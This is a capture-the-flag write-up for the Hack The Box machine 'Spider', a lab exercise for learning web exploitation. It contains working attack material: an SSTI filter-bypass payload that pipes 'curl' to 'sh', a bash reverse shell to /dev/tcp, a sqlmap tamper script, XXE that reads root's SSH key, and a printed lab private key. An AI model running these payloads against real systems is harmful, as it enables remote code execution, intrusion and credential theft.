Hack The Box - Spider

info_card

User

Spider is a hard rated machine on HackTheBox created by InfoSecJack. This machine is all about web exploitation. For the user part we will first exploit a SSTI in the registration process which let’s us dump the flask config. From there we can sign and unsign our own cookies. In the cookie there is a SQLI vulnerability which we can exploit using a custom sqlmap tamper script. Dumping the database we get the credentials of the admin user chiv, who has access to an admin panel. The admin panel reveals an unfinished support portal which is also vulnerable to SSTI. We are able to exploit this and achieve RCE resulting in a reverse shell. Port 8080 is listening on localhost so we forward it to our machine and see another web application, this time completly in beta stage. Here the login functionality is vulnerable to xxe which we will abuse to read root’s id_rsa and finally log in as root.

Nmap

As always we start our enumeration off with an nmap all ports scan against the target to see the full attack surface, followed by a script and version detection scan against the open ports.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4  10.129.48.111
[sudo] password for jack:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 08:47 UTC
Nmap scan report for spider.htb (10.129.48.111)
Host is up (0.084s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 64.21 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -p22,80 -sC -sV  10.129.48.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 08:49 UTC
Nmap scan report for spider.htb (10.129.48.111)
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to Zeta Furniture.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.49 seconds

Amad Furniture

Flask config

Since ssh is rarely the first entry point we head over to port 80 where a webstore for chairs is running.

home

The application let’s us register an account and using a SSTI payload as username we can see it indeed get’s executed.

ssti_test

Sadly the username paramater is limited to 10 characters length, so it seems we can’t leverage this SSTI to RCE.

ssti_proof

We can however dump the underlying config within the length limitation. This is possible in jinja2 with {{config}}.

config_1

Heading over to /user again we have sucessfully obtained the config, which also contains the SECRET_KEY. This means we can now decode and forge our own cookies.

config_2

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

Decoding the current cookie and looking at it’s structure, it looks like it might be worth checking for a possbible sqli vulnerability.

session_cookie

1
2
$ flask-unsign -c eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjEyOWY2MGVhLTMwY2YtNDA2NS1hZmI5LTZiZTQ1YWQzOGI3MyJ9.YLOOqw.muC8GdLqORSbJhggIGtexj3no5s -d -S Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942
{'cart_items': [], 'uuid': 'd9b910d5-3180-4274-a3e0-6d82e9fef789'}

In a first test we add a single quote to uuid, encode the cookie again and replace it with our current one in the browser.

1
2
$ flask-unsign --secret Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -s -c "{'cart_items': [], 'uuid': \"d9b910d5-3180-4274-a3e0-6d82e9fef789'\"}"
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6ImQ5YjkxMGQ1LTMxODAtNDI3NC1hM2UwLTZkODJlOWZlZjc4OScifQ.YLOAgw.9bWstBhEiQY7QS4sKCaF3c93bTE

This gives an error in the application which is a good sign for us. If we are able to fix the query now with a comment, SQLI is more than likely and we can try to exploit it.

sql_proof_1

To proof this thesis we sign another cookie but this time fixing the query with a comment.

1
2
$ flask-unsign --secret Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -s -c "{'cart_items': [], 'uuid': \"d9b910d5-3180-4274-a3e0-6d82e9fef789'-- -\"}"
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6ImQ5YjkxMGQ1LTMxODAtNDI3NC1hM2UwLTZkODJlOWZlZjc4OSctLSAtIn0.YLOA6A.8vKtacty9swGa3RTHgMiRsR1yhg

This time the application doesn’t error which confirms our suspicion and we can take further steps.

sql_proof_2

Sqlmap won’t work out of the box against this type of SQLI, so we have to write a short tamper script ourselves to pass the payload to the uuid parameter and sign the cookie. For this to work we also have to create an empty __init__.py in the same directory as the tamper script wich doesn’t have to contain anything but need’s to exist prior to running sqlmap.

tamper.py

1
2
3
4
5
6
#!/usr/bin/env/python
from flask_unsign import session as ses

def tamper(payload, **kwargs):
    session = ses.sign({'cart_items': [], 'uuid' : payload}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')
    return session
1
$ touch __init__.py

With all preparations met we can now run sqlmap and dump the database of the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$ sqlmap http://spider.htb/ --tamper tamper.py --delay 1 --cookie="session=*" --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.5.3#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 12:01:16 /2021-05-30/

[12:01:16] [INFO] loading tamper module 'tamper'
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[12:01:19] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:01:19] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:01:19] [INFO] testing connection to the target URL
[12:01:20] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:01:23] [INFO] target URL content is stable
[12:01:23] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n] n

...[snip]...

[12:02:37] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[12:02:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:02:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:03:10] [INFO] target URL appears to be UNION injectable with 1 columns
[12:03:13] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 5262 FROM (SELECT(SLEEP(5)))WhHw) AND 'VsIT'='VsIT

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x71706b7a71,0x77436e78697854715949745242547551727665535148484c705875437172736b78566563736e5442,0x716a6b6a71)-- -
---
[12:04:19] [WARNING] changes made by tampering scripts are not included in shown payload content(s)

...[snip]...

[12:04:31] [INFO] fetching columns for table 'users' in database 'shop'
[12:04:32] [INFO] fetching entries for table 'users' in database 'shop'
Database: shop
Table: users
[3 entries]
+----+--------------------------------------+------------+-----------------+
| id | uuid                                 | name       | password        |
+----+--------------------------------------+------------+-----------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331 |
| 2  | 6c22d504-24db-4737-924c-ceb77daa07a0 | {{7*7}}    | a               |
| 3  | d9b910d5-3180-4274-a3e0-6d82e9fef789 | {{config}} | a               |
+----+--------------------------------------+------------+-----------------+

...[snip]...

[12:04:33] [INFO] fetching columns for table 'messages' in database 'shop'
[12:04:34] [INFO] fetching entries for table 'messages' in database 'shop'
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message                                                                           | timestamp           |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1       | 1       | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+

...[snip]...

After the dump finished we now have the credentials of the user chiv and also an interesting looking page /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal.

SSTI blacklist => reverse shell

SSH has only key authentication set but we can use this credentials to log into the web application.

login_chiv

As chiv we now have access to the admin panel with additional functionality.

admin_panel

Clicking on messages we see the same message we already got in the sqlmap dump which hints on an unfinished support portal.

messages

Going over to the support portal there is a ticket system which lets us issue tickets.

ticket_main

Playing around with the input certain characters and words are blocked like {{. It seems like someone implemented a blacklist against SSTI.

blocked1

Poking further we can identify multiple additional blacklisted values like . if and for.

blocked2

Since the message stated the support portal should be fixed we might be lucky and the blacklist is not implemented fully. {% and with seem to be working so we can adapt this jinja2 obfuscated payload from PayloadsAllTheThings.

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Final payload:

1
{%25+with+a%3drequest|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10\x2e10\x2e14\x2e17|sh")|attr("read")()+%25}{%25+endwith+%25}

This payload bypasses the . restriction with |attr and \x2e. Also _ get’s replaced by \x5f. The payload goes up the tree to python builtins and calls os.popen("curl ip|sh").read().

Contents of index.html:

1
2
3
#!/bin/bash

bash -c "bash -i >& /dev/tcp/10.10.14.17/7575 0>&1"

First we set up a python webserver in the directory with index.html and a ncat listener on the port we specified.

1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

We then issue a request in Burp repeater with our payload on the support portal.

revshell

The target connects back to our webserver grabs index.html and passes its contents to sh.

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.48.111 - - [30/May/2021 12:27:29] "GET / HTTP/1.1" 200 -

This results in a reverse shell for us which we upgrade using python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.48.111.
Ncat: Connection from 10.129.48.111:58738.
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
chiv@spider:/var/www/webapp$ export TERM=xterm
export TERM=xterm
chiv@spider:/var/www/webapp$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

chiv@spider:/var/www/webapp$

We are now able to grab the user flag on the machine.

1
2
chiv@spider:~$ wc -c user.txt
33 user.txt

Root

There is also an id_rsa in chiv’s home directory which we can use to have an even better shell on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
chiv@spider:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
1
2
3
4
$ chmod 600 chiv
$ ssh -i chiv chiv@spider.htb
Last login: Sun May 30 07:22:56 2021 from 10.10.14.17
chiv@spider:~$

Port forward

Looking at open ports with ss we see that port 8080 is listening on localhost.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
chiv@spider:~$ ss -ln | grep LIST
u_str LISTEN  0       128                 /var/lib/lxd/unix.socket 25566                                                  * 0
u_seq LISTEN  0       128                        /run/udev/control 21522                                                  * 0
u_str LISTEN  0       1                       @irqbalance1199.sock 27331                                                  * 0
u_str LISTEN  0       128                     /run/systemd/private 21506                                                  * 0
u_str LISTEN  0       128                  /run/lvm/lvmetad.socket 21518                                                  * 0
u_str LISTEN  0       128                 /run/lvm/lvmpolld.socket 21527                                                  * 0
u_str LISTEN  0       128              /run/systemd/journal/stdout 21534                                                  * 0
u_str LISTEN  0       32          /var/run/vmware/guestServicePipe 24737                                                  * 0
u_str LISTEN  0       128                       /run/uuidd/request 25551                                                  * 0
u_str LISTEN  0       128          /var/run/dbus/system_bus_socket 25553                                                  * 0
u_str LISTEN  0       128                        /run/snapd.socket 25555                                                  * 0
u_str LISTEN  0       128                   /run/snapd-snap.socket 25557                                                  * 0
u_str LISTEN  0       128                        /run/acpid.socket 25816                                                  * 0
u_str LISTEN  0       100              /var/www/webapp/webapp.sock 29703                                                  * 0
u_str LISTEN  0       80               /var/run/mysqld/mysqld.sock 29448                                                  * 0
u_str LISTEN  0       128             @ISCSIADM_ABSTRACT_NAMESPACE 25550                                                  * 0
tcp   LISTEN  0       80                                 127.0.0.1:3306                                             0.0.0.0:*
tcp   LISTEN  0       128                                  0.0.0.0:80                                               0.0.0.0:*
tcp   LISTEN  0       100                                127.0.0.1:8080                                             0.0.0.0:*
tcp   LISTEN  0       128                            127.0.0.53%lo:53                                               0.0.0.0:*
tcp   LISTEN  0       128                                  0.0.0.0:22                                               0.0.0.0:*
tcp   LISTEN  0       128                                     [::]:22                                                  [::]:*

To have a better look at it we forward it to our machine using the SSH connection. For this we press ~C on a new line in the terminal which drops us in an interactive ssh command terminal where we can add the portforward.

1
2
3
chiv@spider:~$
ssh> -L:8090:127.0.0.1:8080
Forwarding port.

Navigating to http://localhost:8090 we see a login page where can enter any username to login.

beta_login

This looks like a beta application for another furniture shop with very limited functionality.

home_8090

XXE to root

Here we have a flask cookie again which we can unsign like we did before.

1
2
$ flask-unsign -d -c .eJw1zE1vgjAAxvGvsvS8A3XGZBybtnRoIS19kd5sugSUAkOyMY3ffRqz45PfP88VdEvsQHoFLx6kQJOCBrIoccqNtHNvIrSflv965tqDpmuVjShoiMVecoPlTpNmG-LHRVczvntf6QKVdGTyiNzDH9slHRY25CIha0eb0mfFXNimNVBP1si3EGWt4nL0ygx1F8w2KcZn__xzEDHPxpqf3HT3czDoS6iG87hsLM6zwyrfe2aEW73_97i0s7M0H3QWvkvyc6l613JIJnB7BePQ9vMZpMntDzT_U6g.YLOIPw.e6XuxZ0q8cF79UiDHeu-qSSquEg
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}

This reveals a xml structure, which features the username and also the version number of the api, which is also passed in the login post request.

1
2
3
4
5
6
7
8
$ echo -n PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+ | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>a</username>
        <is_admin>0</is_admin>
    </data>
</root>

To check for a possible XXE in the cookie we have to add a DTD defintion to the xml. We can do this by passing our DTD payload to the version parameter, breaking out of the comment, fixing it afterwards again and setting the username to the entity described in the DTD. In a first run we try to read the /etc/passwd file from the machine.

burp_etc_passwd

Issuing the request in burp repeater we get a new cookie which we use to replace our previous one in the browser and we see the /etc/passwd file in the “Welcome message” in the place of the username.

xxe_etc_passwd

We could read already read root.txt at this point. But there is also a SSH key in /root/.ssh/id_rsa and it is more satisfying to be actually root on the machine, so we send another request in burp.

burp_root_id_rsa

We replace the cookie again and can now retrieve the root’s ssh key. For copying purpose it is easier to take the key from the source of the webpage pressing CTRL-U

xxe_root_id_rsa

With this key we can now log in as root and read the root flag.

1
2
3
4
5
6
7
$ chmod 600 root
$ ssh -i root root@spider.htb
Last login: Mon May 24 14:22:35 2021 from 10.10.14.2
root@spider:~# id
uid=0(root) gid=0(root) groups=0(root)
root@spider:~# wc -c /root/root.txt
33 /root/root.txt